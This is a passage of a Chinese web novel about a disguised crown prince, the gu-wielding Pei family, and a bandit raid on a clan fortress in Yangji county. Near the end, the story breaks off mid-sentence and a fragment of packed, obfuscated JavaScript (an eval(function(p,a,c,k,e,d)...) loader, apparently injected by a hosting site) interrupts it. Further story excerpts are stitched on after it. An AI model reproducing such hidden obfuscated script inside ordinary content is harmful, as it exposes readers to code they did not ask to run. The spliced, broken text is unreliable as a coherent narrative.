简单梳洗后,李相筠打开门,门口执金卫还精神抖擞地向她行礼。 “昨夜可有人来寻我?” 执金卫道:“并无,昨夜一切如常。” 另一个更细心,主动道:“殿下昨夜起身后,陆中郎将有打开房门朝这边张望。” “是什么时辰的事?” “大约子时过后,殿下在屋里走动了阵,不过没有点灯,也没有传唤我等,陆中郎将便没有过来。” 李相筠道:“好,我知道了。” 她折身回到屋中,检查内廊这侧紧闭的门窗,没有被损坏的痕迹。 打开门走出去,左手边连着裴承的屋子,右手边连着陆展。 她下意识往裴承那边走去,可还没等她碰到门,门就被人从里边打开,走出来的是握着个鸡毛掸子的旅馆跑堂。 “郎君日安。”跑堂热情朝她揖手。 李相筠抽空往屋里看,没见到裴承,就问:“屋里的郎君下楼了?” 跑堂跟着回头看了眼,道:“哦,那位郎君啊,寅时二刻就离开客栈了,好像有急事要出城。” 李相筠赶到楼下,从关侍郎处也得到了一样的回复,裴承离开了。 果然如此。 进入西南地界内,她就一直派人留意裴家的各种动向。 他们不但频繁与外界联系,甚至还发动了偷袭,其意图虽不像是要取她性命,但一定是有别的目的…… 这时飞星从厨房方向端了一碗热乎乎的饽饦出来,被李相筠炯炯的目光吓得差点左脚绊右脚。 “怎、怎么了 ?” “你怎么还在这?” 李相筠是没想到裴承人走却没有走干净,飞星就像根刺一样杵在她眼皮底下,忒显目了。 飞星刚手不稳,热汤溅到了手指上,烫得他龇牙咧嘴,低头吹了好几下,才抬首回道:“自然是家主要我留下。” “城门寅时五刻才开,你家主是飞出去的?” 薛二娘坐在后边桌上,闻声道:“裴家在西南各城镇都有影响。” 飞星连连点头附和:“没错,我家主什么时候想出门都能出去。” “这么说,这里就是你们裴家的地盘了?”李相筠没有一点怕,反而阴恻恻笑起来。 飞星见太子不怀好意,不敢搭话了。 家主叮嘱过他不会说话少说话。 他看见金宝和高勇过来,如见救星,连忙溜了过去。 “今日大家都这么早啊。”金宝揉了揉眼,打了个哈欠,就近在桌子旁坐下,人还没彻底清醒。 关侍郎这时候开口道:“我跟人打听过,羊集县那边好像出了点乱子,今日开始我们要抓紧赶路,希望三日后可以到达。” 薛二娘忧心忡忡地搁了筷。 飞星嗦了两口饽饦,看了看旁边关娘子和郡主,“既然羊集县有乱,她们两位娘子怎么办,不如依我看,就到旁边的郸城歇脚好了。” 关娘子摇头,“我与兄长此次同往也是想要去拜见亲族,不便分开。” 李竹芸道:“我与关娘子一起。” 赵郡王世子有妹妹做幌子,自然而然不会分开。 飞星没辙,“好吧好吧,那我与你们一道。” 关侍郎叮嘱关娘子记得喝药后,就带两名亲随出发去邸店召集队伍出城。 李相筠用完饭走出客栈。 这家客栈就靠在坊门口,离西城门只有两条街的距离,门前马车络绎不绝。 李相筠看见一个眼熟的标记从前经过,“梁氏商行?他们生意做的还真远。” 之前在大理寺门口见过,李相筠就留意上了。 “梁氏商行是正元十八年所建,主营药草,与关侍郎合作多次,据闻关侍郎正在为梁氏商行申请皇商的名头。”邓谦继续道:“羊集县有变的消息也是从他们那得来的。” “消息比驿站传得还快。” 李相筠倒不担心羊集县的乱,无非是因为薛二娘的案子,下面的药农被煽动闹事,现在她更关注的是裴家的动静。 她对邓谦叮嘱道:“跟着裴承的人有任何消息及时告知我,让河西折冲府、嘉定折冲府随时待命,若裴承再有异动……” 李相筠顿了下,手指摩挲着大氅表面粗粝的兽毛,方沉声道:“孤允他们先斩后奏!” 邓谦抱起拳:“是。” / 在央城二百里外,裴承与飞雨在一处破观外汇合。 “我们就抓到这一个活口,他胆小不敢自尽。” 裴承走进去,殿内满地爬着蛇、蝎、蜈蚣等毒虫,几乎没有能够让人落脚的地方。 “啊啊啊——”右侧有个面容扭曲的男子疯狂甩动脑袋,想阻止蝎子爬上他的脸,不过因为被结结实实捆在斑驳漆柱上,再怎么挣扎只有脑袋能晃动。 “不不,放了我!” 簌簌——簌簌——地上的虫子层层叠叠,但都随着裴承的走近快速散开,争先恐后让出一条路。 裴承在男子面前站定,“回答几个问题,我酌情考虑你的去留。” “你、你是裴家主?”男子声音都在发颤。 裴承笑着帮他把脸上的一只蝎子取下,“我是,所以你最好不要骗我,不然你会求着让这些毒虫把你蛰死……” 男子满脸惊恐,“你、你要问什么,只要我知道……” “三年前,卫衷约怀贤太子在建川见面是为了什么事?” “怀贤太子?”身上的虫子络绎不绝爬走,男子勉强恢复了几分镇定。 裴承手指抬着那只蜷缩的蝎子,睨来一眼,“你不知情?” 男子赶紧道:“我知道!我知道,怀贤太子是与我们将军见过一面,不过、不过不是将军约的太子,而是太子写信约得将军!” 裴承道:“卫衷应该恨怀贤太子,为何肯赴约?” “你知道?你知道是怀贤太子抛弃我们将军,抛弃了卫家,卸磨杀驴?!”男子忽然激动起来,他瞪大眼睛,以为找到同阵营的人。 “先说,卫衷为什么要见太子?”裴承没和他拉近感情慢慢斡旋的耐心。 男子也顾不上细想他的反应,恨恨道:“还不是因为七皇子,因为他,将军才肯去见的怀贤太子。” 因为李相筠? 果真如此。 正元十三年,卫衷封忠武将军,率左右忠武六军前往泊州,围剿残余的赤乌流寇旧部,大胜。 本该是一件大好的事情,可就在他班师回朝的路上忽然率残部冲出鸣沙关,叛入蒙贺。 由此,圣人震怒,卫家满门抄斩,念及卫婕妤生育皇子只将她圈禁宫室,可她怨毒诅咒圣人,还尝试掐死七皇子,未果,最后自缢身亡。 七皇子李相筠不跪祭母妃,与卫家恩断义绝,由此得以苟延残喘于宫室。 世人都以为,李相筠与卫家再无往来,可种种线索证据却指明,他们二者之间藕断丝连。 “小人并不是将军的亲信,知道的也就这么多了……”男子对上裴承的视线,又浑身一哆嗦,“不过!不过我知道将军的去向!” 裴承道:“说。” “将军与赤乌流寇通过信,眼下已经去往羊集县!” “卫衷和赤乌流寇在羊集县?”飞雨一惊,“那郡主岂不是……” 裴承脑海里先闪出小太子的身影。 李相筠也在查赤乌流寇的线索,莫非卫衷是为了他前去羊集县。 小飞从裴承的袖子里钻出,飞身一跃跳到男子肩头,张嘴就在他脖颈上咬出两个血洞。 “啊!” 男子惊恐大叫,小飞蹬腿一跳,又重新回到裴承的肩上,只用两只血红的小眼睛盯着他。 裴承继续问: “卫衷与赤乌流寇是什么关系?” “卫衷……”男子两眼忽而变得迷茫,喃喃道:“卫衷和赤乌流寇合作。” “他们到羊集县要做什么?” 男子眉心深锁,似乎也不太明白,但是还是回道:“赤乌流寇想要太子。” 赤乌流寇想要李相筠? 先前的猜测难道有误,卫衷不是为了救他,而是要保他安然到达羊集县…… 裴承心神微震,“他们要太子做什么?” 男子回:“我不知道。” 裴承又重新问:“正元十三年,卫衷为何要叛离?” 男子双目无神,道:“因为泊邑折冲府追杀,将军不得已退出鸣沙关……” 飞雨脱口而出道:“泊邑折冲府乃怀贤太子所辖,难道是怀贤太子要杀卫衷?” “不一定,泊邑折冲府虽在太子名下,但发调府兵十人以上就需中书省、门下省发铜鱼符和敕书。” 飞雨没吭声。 而裴承自己也想到了一种可能,倘若那时候怀贤太子在中书省、门下省都有足够的影响力,也是可以私自发兵的,事后可以说,卫衷叛逃在先,折冲府追叛军在后。 事实上,泊邑折冲府在上报朝廷的奏章上也是如此解释。 毕竟是事急从权,后来他们抓到几个叛逃的士卒,以士卒的口供坐实卫衷的叛国。 卫家,从前途大好的新贵一下跌落泥土中,彻底倾覆。 一阵高昂的笛声从破殿门口传来,地上的毒虫毒蛇开始躁动。 足须甲翅摩擦出来的簌簌声,让人耳膜狂缠,心绪不宁,这绝不是什么美妙的声音。 裴承转过头,门口出现了一道佝偻蹒跚的老人。 老人身上穿着靛蓝色蜡染粗布,头发已花白,胡乱在头顶扎了个髻,簪了一根润亮的银钗,脖子上挂了一圈小兽磨得发白的头骨,若仔细看,可以见那些头骨的窟窿洞里看见一些爬行的虫和蛇。 他一手拿竹笛,一手提着银环拐杖,银器碰撞的清脆声音伴随他走近。 “家主可问完话了,问完了该喂食了。”老人不笑还好,一笑那眼睛嘴巴尤其邪气,像山里会吃人的妖怪。 男子就是被他抓住的,对他的手段十分畏惧,顿时又哭嚎挣扎,旁边的毒虫纷纷亮出毒针毒牙,不断发出威慑的震翅声,蓄势待发。 裴承慢条斯理道:“胡老,此人我还有用。” 胡老脸上的褶子皱得更深了,他从鼻腔重重呼出口气,“真没劲,等了这么久又不让吃。” 他横起竹笛,又吹了几个音调。 毒虫们如潮水退开,一时间破殿的墙、柱子上都是虫子的影子。 男子早已吓昏。 飞雨叫进侍卫,把柱子上捆住的人带下去。 胡老把竹笛插在腰间,两手环住银环拐杖,两眼精明地上下打量,“家主这次上长安,可有寻到月蛊的下落?” 裴承道:“并无。” 胡老瞪他,“这么多年,月蛊一直下落不明,若家主遇到了一定能够察觉到,而且月蛊会明显地趋向性,就好比植物渴望阳光露水那样,家主可有仔细分辨?” “长安人口众多,哪怕挨个碰面都要数个月,哪是容易的事。” “当年那场大火一定是人为,他们的目的肯定是夺走月蛊。” 想起这件事,胡老气急败坏地开始左右踱步,“可月蛊对他们这些不识货的人来说就是一味平平无奇的辟毒药,要是给我,再配上家主身上的日蛊,裴家所向无敌不在话下!” “裴家又不想取代李氏做这个皇帝,要所向无敌就是给人当靶子,当年南巫寨的事情,胡老还没有得到半点教训?” 树大招风,外面有多少人忌惮南巫寨,就有多少人想把它除之而后快。 胡老站定脚,扭头看他,冷笑道:“说起南巫寨,当年是家主告的密吧,不然光凭那些个小娃娃怎么走得出迷雾瘴林,又怎么会召来那些长安人?老儿隐瞒不报,不代表一无所知。” 裴承无所谓,笑了笑,“若非那场火,胡老这日蛊也练不成,都因祸得福了,还要翻旧账?” “我的日蛊?”胡老道:“家主还当老儿不知道,家主巴不得带着南巫寨多年辛苦炼成的蛊一起去死,怎么,那个小朋友没有带上你一起跑,生无可恋,心灰意冷了?要不是这日蛊救了家主性命,现在家主已经是一捧焦土了!” “哦?这么说,我还要谢谢胡老让我与毒虫共枕九年,日夜受那蚀骨钻心之苦?” “这你可怪不得我!” 胡老瞪大眼睛,像是蒙受了巨大的冤屈,他怪笑道:“要怪就怪你那与人私奔的娘,不负责任的爹,还有狠心的外祖父。” 裴承似笑非笑,“是啊,所以他们仨都死了,而你还活着,现在不该胡老感谢我的大发慈悲吗?” 胡老握紧了银杖,他脖颈上白骨窟窿洞里探出了几只手指粗细的金鳞红颈蛇,正朝前方嘶嘶吐着信子。 小飞站在裴承肩头,炸毛龇牙,血红的小眼睛牢牢盯着最前面的蛇,直到把它逼退才神气百倍地抖了抖毛。 胡老攥紧手指,低下脑袋,道:“家主心慈,老叟每一日都感激不尽。” 裴承带着飞雨往外走,“回你的地盘去,没有我的传唤不要做多余的事。” 胡老恶狠狠盯着他的背影,道:“恕老叟不得不提醒家主一句,月蛊已经丢了七年,每一年老叟都在用药为家主压制,时至今日解药对家主已无甚作用,往后月蛊再寻不到,家主只能靠自己了。” 裴承浑不在意,道:“胡老大可把我杀了,把日蛊取出来,再找个合适的好寄主。” 胡老彻底给噎住了,连连在后面说了好几个“你”字,实在没办法,气得用银杖猛捣地砖。 日蛊与月蛊不同,日蛊对寄主要求极高,南巫寨培养这么多年,这么多的孩子里面只有裴承一人活下来了。 要让他再花个十年二十年,他也受不了,现在唯一的法子只有—— “阿翁!” 一阵银铃声急响,娇俏的小女郎跑过来,搂住胡老的胳膊, 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从别处调来的知县事①不熟悉本县的情况,也是揣着宁可无功也不能犯错的心态。 左一个“再等等,说不定事情有转机”,右一个“山上都还是良民,万一逼良为盗,我们岂不是大黎的罪人?” 总而言之是能拖就拖,能推就推,如此这般在县衙喝了四天的茶,终于等来了长安的转运使。 他喜上眉梢,马上把这重担连带羊集县的县印一同甩出去。 “贵使是奉圣人之命,料想那些宵小之徒一定会闻风丧胆,迷途知返!” 关侍郎到羊集县便被这些庶务绊住脚,就连薛二娘这个嫌犯也不得不解开镣铐,暂且配合关侍郎处理羊集县的乱局。 曾经赤乌流寇危害大半的大黎,以至人心惶惶,世人谈寇色变。 地方小官都害怕自己的地盘出现第二个赤乌流寇,故而对于这些乱民不敢逼得太紧。 这些事情,关娘子与郡主两个女郎使不上力,就被安置到安全的地方。 薛二娘找出库存的白甘草,方便李竹芸为关娘子暗暗调制解药。 李相筠在找赤乌流寇线索之余,闲来无事也会过来瞧瞧郡主制药,偶尔和关娘子聊几句。 但关娘子始终没能记得半点有关赤乌流寇的事情,眼下还正为拜访外祖梁家不顺而烦心。 原是关娘子的母亲梁氏早些年与兄弟不合,当初赤乌流寇来袭的时候,梁氏本想将一双儿女送回娘家也遭到拒绝。 可见关家与梁家已经决裂。 关娘子吃了闭门羹,便想要先写一封信托人带给外祖母,关侍郎得知后就让人送回来一块玉。 “这玉有什么不对吗?” 李相筠坐在旁边翻看羊集县的户籍档案,注意到关娘子已经捧着那玉看了一上午,魂不守舍。 关娘子摇摇头,手指摸到玉环的内侧有道小裂缝,藏着一缕暗红。 “这是我娘的玉环……”关娘子哽咽了下,语无伦次道:“我以为在逃亡的路上丢了……兄长说是不小心掉了,我没想到……” 李相筠奇怪问:“既然丢了,那又怎么找回来的?” 关娘子摩挲着玉环,低声道:“是说在当铺里看见了,兄长便替我赎回来了。” 李相筠挑了下眉,“关侍郎这么忙还有时间上当铺给你找这块玉?” “当铺里有很多药农典当的东西,关侍郎兴许是去查线索时正好看见了,关娘子这玉失来复得,想来是个好意头呢!” 李竹芸笑吟吟领着婢女进来送茶。 关娘子点头,“正是。” 李相筠端起茶暖手,也跟着笑,问起正事:“郡主的药今天就能好了吗?” 李竹芸道:“药已经配好,正在火上,小心熬煮一个时辰便可。” 事关赤乌流寇的线索,李相筠放下茶杯立刻起身,“我和你一起去看看药。” 小厨房里,李竹芸坐在杌凳上,亲自摇着扇,照看煮药的火。 小火温吞地烧着药罐,药汁不断咕咚顶开陶盖,热烟裹浓重的药味便从壶嘴以及盖子下喷.出,李相筠嗓子眼都变得苦涩。 才待不到一刻,李相筠就坐立难安,抬头问李竹芸,“郡主常常亲自煮药?不觉得这闻着很苦吗?” 李竹芸轻摇了下扇,“我已经习惯了,殿下可是觉得很难闻?” “我有点晕……”李相筠掩住口鼻,闷闷道:“头还疼。” “怎么会?”李竹芸搁下扇,看李相筠确实不舒服的样子,便起身过来扶他,“殿下要不要出去透透气……” 李相筠按住她的手,“郡主看着药吧,我自己能……”话没说完,脑袋一阵剧痛,她说不出话,只能按住脑袋,快步往外走。 才跨出小厨房的门,又往右边走了三步,她的眼前忽然闪白,像是直视灿阳,双目刺痛。 在那惨白的光中,逐渐显出人影。 “都不记得了吗?……不记得也好……”李相宇坐在床边,低着头望着她,眉心拢着愁绪,眼底尽是温柔,“睡吧,皇兄就在这里陪着你……等你醒来,我们就回长安。” 画面像倒映在水面,涟漪一圈圈荡开,轮廓逐渐模糊。 “太子殿下?”前面有一声惊呼。 好怪。 李相筠察觉自己陷在一个未知的梦魇当中,但又能够清楚看见眼前的飞星和裴承一步步走来。 她踩在虚幻与真实的一线之间。 往裴承的方向踏前一步,踩空,她猛地坠下去。 四周一片黑暗,慢慢的听觉先恢复,水滴岩石的滴答声在左后方,随后是光线,一点光从上打在了她的眼皮上。 她缓缓睁开眼。 前边有很多人,他们的声音像是水掉进油锅里,突然炸响。 听不懂,但能够感受到他们的愤怒与焦躁,忽然有人从后面掐住她的脖颈,粗暴地将她推前。 前面聚集的男女身上都带有银饰,往两边避身的时候,银器就在她耳边叮当乱响。 她脚下磕磕绊绊,直到尽头。 一人抓着条腕粗的蛇站在她身边,小弯刀割掉蛇的脑袋就像打开酒瓶子一样利索,身后的人用手掐住她的两颊,捏开她的嘴,蛇湿滑腥臭的血涌进她的口腔。 她跪坐在地上不住地干呕,汗湿的后背一片湿.濡。 不等吐个干净,她又被人重新拖了起来,扔进一个洞窟里。 一片黑暗中,忽然睁开一双血红的眼睛,像是蛰伏在暗处的野兽盯上它的猎物。 眼睛的主人缓缓走到有微弱光线的地方,人的双足,人的双腿。 但他一点也不像个人。 他的力气太大,两只手就像是铁钳,失去了控制力度的能力。 她逃不掉,挣不开,颈窝处落下柔软冰凉的发丝,还有一滴温热的眼泪。 “再给我吹一首曲子吧。”少年音很虚弱,低哑,有种在颓唐的废墟里盛开出最后一朵花的绝望。 “我、我笛子呢?”她冷汗涔涔,伸手要找,颈窝已被锋利的牙尖抵住。 “对不起……” 下一刻,尖牙刺破了她的皮肤—— 李相筠浑身惊颤,再睁眼就近在咫尺的裴承,而他的手心正用力裹紧她的小臂。 温热的、有力的,无法挣脱的,就像一个铁钳。 35.同牢 “放手。”李相筠甩开裴承的手。 两日前,她就收到裴承往羊集县而来的消息,但没料到他会早半日赶到。 “对不起。” 一道极轻的声音落在耳边,李相筠眼睫掀起,凝视裴承。 从前没有认真瞧过,现在仔细看来,裴承的瞳仁并不是深黑色,在阳光下发棕,是一种红到极致的暗棕色。 他的母亲是裴家本支的血脉,他应该也带有或多或少蒙贺外蛮的血统,所以有些特征并不完全似中原人。 更艳丽,更野性。 有人将裴家人形容为穿在绫罗绸缎里的野兽,并不是夸大其词。 无论现在他们看起来多么彬彬有礼,像个人,但皮囊下还藏有血淋淋的兽性,就像他们的族徽,两只互相吞噬的蛇,代表他们永无止境的厮杀与斗争。 一个不会安于平稳的家族,让人不得不防。 “臣以为殿下要摔,所以才擅作主张相扶。”裴承道:“殿下若觉得冒犯,下一次臣一定袖手旁观。” 李相筠反手摸在后颈上,那本无知觉的伤处这时候有些发烫。 她道:“裴少保冷眼旁观的时候比积极相助的时候还叫人安心点。” 李竹芸还要看药,李相筠先回到县衙后院的住所,关好门,拿铜镜照。 她突然有点介意这处伤。 芷姐从前问起过她右边后颈上的伤是怎么弄的,她以为是和人打架不小心磕伤的。 然芷姐还说多一句,再怎么玩闹也不能太过火,咬人更是不应该。 那时候她一心想着打架不能输阵,咬人也不过火,并没有往深里想那时芷姐想说的是,这处伤痕是咬痕。 她对着铜镜镜子看了许久,都过去六七年,痕迹已不明显,但沿着颈窝锁骨两侧,明显是两排对称还带有弧度的痕迹,两个锥形伤小却深,旁边四个浅呈长片状。 李相筠比划一下,大概是有人在她身后,斜着脸,专门用犬牙咬了她一口。 是谁? 她缺失掉的那一块记忆好像藏了很多重要的东西。 天星草…… 是了,她也种过天星草毒。 假如她的记忆是因为天星草失去的,刚在小厨房里,她闻了不到一刻钟的药味,脑海里就浮出那些莫名其妙的画面。 或许,那并不是莫名其妙画面,而是她失去的那部分记忆。 李相筠把衣襟拉好,捧着那面铜镜呆呆坐了许久。 镜子中的人熟悉又陌生。 不知过了多久,李相筠才回过神,起身推门而出。 门外邓谦站在院子里,前面拦着裴承。 “裴少保有事?” 裴承道:“的确有件要紧的事。” 李相筠还想赶在关娘子把药喝完前回去,边往外走边道:“晚些再说吧。” 裴承转身跟上,“殿下在长安摆那么大的阵仗,汪正阳气得在拿太子党出气,殿下觉得这件事不要紧?” “裴家在西南没少战事,两军对弈时,你关心下边一兵一卒的生死岂不是寸步难行?” 裴承看着李相筠的侧脸。 小太子鼻梁高,下颚线柔和精致,一张温软的脸,偏说的话残忍又无情。 裴承道:“殿下敢在这个时候离开长安,原来早有谋划,放着长安乱成一锅粥,自己仗着一片为圣人取药的孝心避开纷争,等个把月回去,再清扫战场,坐享其成。” “那不叫坐享其成。”李相筠纠正道:“那叫秋收硕果。” 天上不会掉馅饼,只会掉陷阱。 就好像裴承才不会那么好心过来提醒她。 “裴少保说的要紧事不是这个吧?”李相筠脚步不停,只用余光瞥向身侧的人。 因为离得近,她的下巴得抬高才能看全他的脸。 裴承触到他的视线,才道:“严兴良是殿下杀的吧?” 李相筠眉心一蹙。 已经很久没听过这个人。 “殿下不必急着否认。” 李相筠慢慢道:“我没有想过否认,三年前,他想要我的命,我杀他也是理所应当的事。” 这件事玄扇司知,圣人也知,所有人都知道他们之间有大仇。 李相筠不信什么以德报怨,她只想一刀刀把欺辱过自己,欺辱过她身边人的恶人全都杀掉。 放下屠刀立地成佛这句话何其不公。 为什么一个作恶多端的人能够轻而易举得到别人千辛万苦修来的福报。 那些刀下枉死的人难道就活该成为祭刀的冤魂? 不,哪有这么窝囊的事。 她要杀,她从不掩饰自己的血腥与冷酷。 “所以呢?死掉三年的人有什么要紧之处?”李相筠问。 “他是赤乌流寇的人。” 李相筠蓦然顿住脚,后背渗出一层冷汗,连齿关都在微微打颤:“你说什么?” 自院墙上翻过一人,还没落稳脚,便被从两侧挥来的刀逼至墙角,飞雨用弯刀抵住执金卫的攻势,冲李相筠和裴承两人,大声喊:“家主,关娘子与郡主刚刚去梁家,梁家出事了!” 李相筠与裴承对视一眼,提脚往外疾行。 “放了他,备马!” 梁家是当地有名的望族,全族上百号人住在一座靠山面水的坞堡里。 从羊集县往西,跑大半时辰,远远就见到密林另一侧浓烟滚滚,天上盘旋着不肯落枝的飞鸟,乌泱泱的像一片遮天蔽日的乌云。 等马跑近后,才看见梁家堡外城墙已坍塌一半,吊桥半边沉在水里,剩下半边支离破碎地挂在河岸,几个家丁打扮的人飘在水面上,随着水流不断撞着那几根断木。 “怎么会如此?”飞星跃下马,往前几步,搭手在眉骨外眺望,“毁得好厉害啊!” 李相筠环视一圈,就看见河岸边上关侍郎孑然而立,他裤腿袖口还有泥水半干的痕迹,不知道刚刚是去水里打捞了什么。 眼下一动不动,就跟岸边的木桩子一样。 “关娘子与郡主呢?”李相筠问左右。 裴家侍卫正好赶过来,道:“郡主与关娘子进入梁家堡后,梁家堡就被袭击,那些歹人乘着船,用硝石炸开堡墙,冲进去烧杀抢掠,我们的人受到爆炸的冲击,伤了几个,和郡主失去联系。” 最后一句说完,他便单膝跪下。 他们的任务本来是暗暗保护郡主,但因为梁家堡与岸隔着吊桥,若无准许,不得进入。他们也是没有料到歹人会乘船,顺流而下袭击坞堡。 裴承紧锁眉心。 “梁家的侍卫呢?”李相筠紧接着问。 这么大一座坞堡,有上百号人,奴仆成群不用说,防卫应该也不该像张纸一样,一攻就破。 “回郎君,皆中毒失去抵抗,任人宰割。” “有内鬼。”李相筠视线一转,问:“关侍郎要去哪里?” 关侍郎骑上马,领一队人就往外跑,没有过来跟他们交代一言,就消失在林子深处,没了踪影。 旁边不远处,几个猎户交头接耳。 “肯定是冲着梁家的万年虫芝去的,早知如此,倒不如痛快点交给转运使……” 裴承派人把他们喊到跟前。 几个猎户见他们肥马华衣,不敢不老实交代。 “万年虫芝是梁家的镇宅之宝,据说可以治百病,避百邪,不少人前前后后都来讨要过,更有人出万金相购,梁家也是不肯。” “我还听说这药其实是梁家老夫人为自己女儿寻的,她那女儿千娇万宠,真真是眼中宝,只是患有先天心疾,身子真他娘的弱啊,风吹就能倒。” “就是嫁到关家那个?我知道,梁家大郎君之前是想把这个病歪歪的妹妹嫁给隔壁州的潘知府,潘知府对梁娘子那是一见钟情,连聘礼都准备好了,谁知梁娘子偏看上关家郎君,拒了和潘知府的婚事,潘知府恼羞成怒,把梁大郎君欠一屁股债的事捅了出来,还让他丢了官,梁家大娘子本就不喜欢这妾室子,狠心把他们一家赶出去,大郎君那娘子还抱着刚生下的小郎君大雪天流落在外,好不可怜……” 李相筠眉头紧蹙,道:“别扯远,你们说都是虫芝惹的祸是怎么回事,你们知道是什么人袭击了梁家堡。” 猎户不约而同:“那肯定是山上那伙人。” “他们就在赤乌流寇以前盘踞的那山上,我看就是想学那些流寇,趁火打劫!梁家最有钱,又和长安的特使勾结经常打压药农……被盯上也不足为奇。” 李相筠又问道:“你们说转运使也向梁家讨要过虫芝?他先前来过梁家堡?” 一名猎户点点头,“附近河里的洗衣女看见了,就在前日,关转运使造访梁家堡,没多久被赶出来,还有个老者冲他不顾颜面地喊孽障,说什么虫芝决不会给关娘子云云。” 原来如此。 关侍郎肯带关娘子来到羊集县,还存了这份心。若说这个虫芝是梁家老夫人为关家兄妹的母亲所寻,关侍郎想要得到它为关娘子治疗隐疾,也是说得通的。 只是没想到,梁家如此绝情绝义。 “关家和梁家还真是水火不容啊。”李相筠眯了下眼,“我想山上那些反民肯定知道关娘子和郡主的身份,故意抓去当人质,在还没开口谈条件前,暂不会有生命之忧。” “诸位是山里的猎户,一定对山路很了解,能否请带个路,我想带人上山一趟。”裴承这时候才开口。 几个猎户你看我,我看你,没人敢出声。 裴承道:“五十两白银,买个带路人。” 有个猎户抢先开口:“贵人,我鲁二最熟悉山路了!” 李相筠叫住裴承:“还不知道他们要什么条件,贸然前去,没有好处。” “她们在山上多待一分就险一分,七郎先回去等消息吧。”裴承让人给猎户一匹马,竟一刻也不愿多待。 李相筠目送他们的马跑远,才调转马头,率执金卫回羊集县。 山上既有反民,那必须集结官兵应对,岂能任由他们发展成山寇。 她可没有那么好的耐心与脾气。 薛二娘正在县衙正堂与师爷商量对策。 听见马嘶声,一行人在县衙大院里停了脚,李相筠轻巧跃下马背,昳丽的面上杀气腾腾。 薛二娘撂下师爷,迎上去道:“七郎君,我已经查清楚了,山上的人是本地药农,带头的那个叫鲁大富。” 李相筠:“姓鲁?那个打猎的鲁二和他是什么关系?” 师爷知道李相筠等人都是长安来的贵人,毕恭毕敬回道:“那是兄弟俩,大的叫大富,小的叫大贵。” “这么巧。”李相筠不由微笑。 薛二娘道:“七郎是何意?” 李相筠用鞭子敲了敲手心,“刚刚裴家主找了个猎户带路上山,正好是这位大贵兄弟。” 薛二娘一惊,与师爷对看了眼,“那岂不是糟了!” 李相筠没放在心上,转头问:“陆昭云呢?” 陆展这几日忙着给母亲移冢。 他出手大方,当地白事知宾①帮他把事办得尽善尽美。 墓碑就立在金银山上那棵枝繁叶茂的大桂树下,虽然时节不对,但也能够遥想秋天时,满树飘香,那些金灿灿的小花会飘落而下,覆在坟头。 一位路过的老者眯着眼睛看清墓碑上的字,叹了口气,道:“陆家有姊妹二人,这是小的那位二娘吧,那大娘如今何在?” 陆展道:“姨母正在宫中,是贵人身边倚重的女官。” “你是陆二娘的儿子。”老人上下打量了下陆展,点点头,“没想到陆家竟还有这样的造化。” 陆展犹豫了下,问:“老人家可是认识我母亲与姨母。” 老人道:“认识,岂止认识啊,陆家三兄妹我熟得很。” “三兄妹?她们还有个兄长?” “是啊,陆家老大是兄长,我记得是个很文弱清秀的郎君,最擅调香,陆家就是开香铺的,陆大郎将来承袭他父亲的手艺成为香师,肯定也能名扬泊州,可惜啊,赤乌流寇来的那年,他就惨死了,当年陆家和陈家关系交好,陆家兄妹和陈家那女郎青梅竹马长大,两家长辈还说将来一双孩儿,知根知底的,结为夫妻未尝不可……”老人追思往昔,满脸的怅然,“可惜了,可惜了。” 老人拄着拐杖走远,陆展尚在沉思。 他从未听姨母说过还有位舅舅的事情,想来当年这位舅舅一定死于非命,让人不忍再提。 正在下山的时候,他看见远处浓烟滚滚,问旁边当地人:“那边是什么地方?” “那边是梁家堡,这么大的烟,定然是出事了!” 陆展心里想着太子,连忙道:“我们赶紧回羊集县吧……” 话音落,他又看见山下几匹马经过,为首的赫然是李相筠。 他马背上还带着个孩子,身后只跟了几名执金卫。 陆展骑快马,沿着痕迹一路找过去,正好见到林子里,李相筠一拳拍在小孩的头顶上。 小郎君哇哇大叫,“打人了打人了!” 李相筠捋起袖子,“我就打你怎么着,乳臭未干的小娃娃居然敢诓我?” 陆展赶紧下马,走上前问:“七郎,这是怎么回事?” 李相筠揪住小郎君的后衣领,一边对陆展打了个招呼,“昭云你怎么在这,哦对,你还不知道郡主与关娘子给山上的反民抓了去吧,这小子刚刚坐在县衙门口抹眼泪,说自己兄长也去山上做反贼,还说要叫他一块去,我想着这也是一条线索,想用他做诱饵抓他兄长好问个情况,结果到这里,他才说自己兄长是被抓上山的,他就是想上山救人。” “救人?”陆展一看,这小郎君约摸十三四岁,长着一张麻子脸,四肢瘦长,像个猴儿般,就这会被人抓住,眼珠子还精明地转来转去。 “我、我要不这么说,哪能走出羊集县——哎呦哎呦,别扭了,耳朵要掉了!” 李相筠揪住他的耳朵,阴恻恻道:“骗人你还有理了?” “我是为救人,不是为骗人,当然有理了,我兄长是我最重要的人,我不能眼睁睁看着他去死!不管用什么法子,我都要去救他,我不想以后连后悔都没有机会!你们长安来的人不是喜欢说‘明知不可为而为之’吗?我有什么错!”小郎君大声吼一声就把眼睛紧闭,生怕自己要挨打。 可拳头迟迟没有落下,耳朵上的那只手反而松开了。 “长安人?你从谁这里听过的?” “说起来和你还有几分相识,是个很俊的阿兄,个子高,脸漂亮得像神仙。”孙小郎君揉着自个的耳朵回头,脸不禁红了,“我开始还以为是个阿姐呢!” “什么时候的事?”李相筠心头一跳。 “差不多三年前?他真的是个很好的人,锄强扶弱,打跑了那些地痞无赖,还救过我与兄长性命!”孙小郎君,冲李相筠做了个鬼脸,“比你好多了!” 三年前,与自己有几分相似,那可能是皇兄! 皇兄生前竟然来过这里! 李相筠环顾四周,看着陌生的环境,心里苦涩,唇瓣动了动,“你说的对。” “七郎……”陆展把手放在李相筠肩膀上拍了拍。 三年前他还不到十五岁,根本没有能力为怀贤太子做什么事。 他完全没有必要为此而责怪自己。 “这么说,你不生气了,那我可走了!”小郎君嘿嘿两声转身迈脚,大步而去。 忽然脚腕上“啪”得声被打了下,某物如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李相筠蹲下,在岩壁的角落捡到一块绿色与暗褐色的石块,“是铜矿。” 前面的孙小郎君对她招手,“快来,我们从这边走。” 李相筠把捡到的石块放进腰间口袋里,快步跟上孙小郎君。 这个矿洞十分大,中央内凹,沿着山体一圈建有支护架子,用扎拢的竹竿放在支护架上,搭出一条供人通行的路,上下起码有四层。 